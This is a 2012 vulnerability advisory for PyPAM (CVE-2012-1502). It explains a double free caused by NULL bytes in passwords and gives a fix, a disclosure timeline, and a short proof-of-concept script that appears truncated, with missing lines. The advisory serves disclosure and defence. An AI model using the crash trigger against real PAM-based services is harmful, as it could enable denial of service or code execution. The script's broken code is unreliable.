The information has been provided by Markus Vervier.
* PyPAM version 0.4.2 and prior
While conducting an internal test LSE discovered that by supplying a password containing a NULL-byte to the PyPAM module, a double-free  condition is triggered. This leads to undefined behaviour and may allow remote code execution.
Temporary Workaround and Fix
Filtering NULL-bytes in strings before passing them to the PyPAM module will mitigate the exploit. Also current GLIBC protections may prevent the double-free condition from being exploitable. It is advised to update to a fixed version of PyPAM.
When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with Null-Bytes, a TypeError exception is raised . The security problem is in line 82 of PAMmodule.c where free() is called on *resp, but *resp is not set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls free on the response again unless (*resp == NULL), which leads to undefined behaviour.
The following PoC script triggers the problem:
## python-pam 0.4.2 double free PoC
## 2012 Leading Security Experts GmbH
## Markus Vervier
# -*- coding: utf-8 -*-
def verify_password(user, password):
def pam_conv(auth, query_list, userData):
resp = 
resp.append( (password, 0))
res = -3
service = 'passwd'
auth = PAM.pam()
except PAM.error, resp:
print 'Go away! (%s)' % resp
res = -1
print 'Internal error'
res = -2
print 'Good to go!'
res = 0
print verify_password("root", "a\x00secret")
2012-03-02 Problem discovery during internal QA
2012-03-05 Original vendor and Debian maintainer contacted
2012-03-06 Public Patch released
2012-03-07 Various maintainers contacted
2012-03-07 CVE-2012-1502 assigned
2012-03-08 LSE learned in that this bug was previously discovered and fixed in rPath Linux 
2012-03-08 Coordinated Advisory Release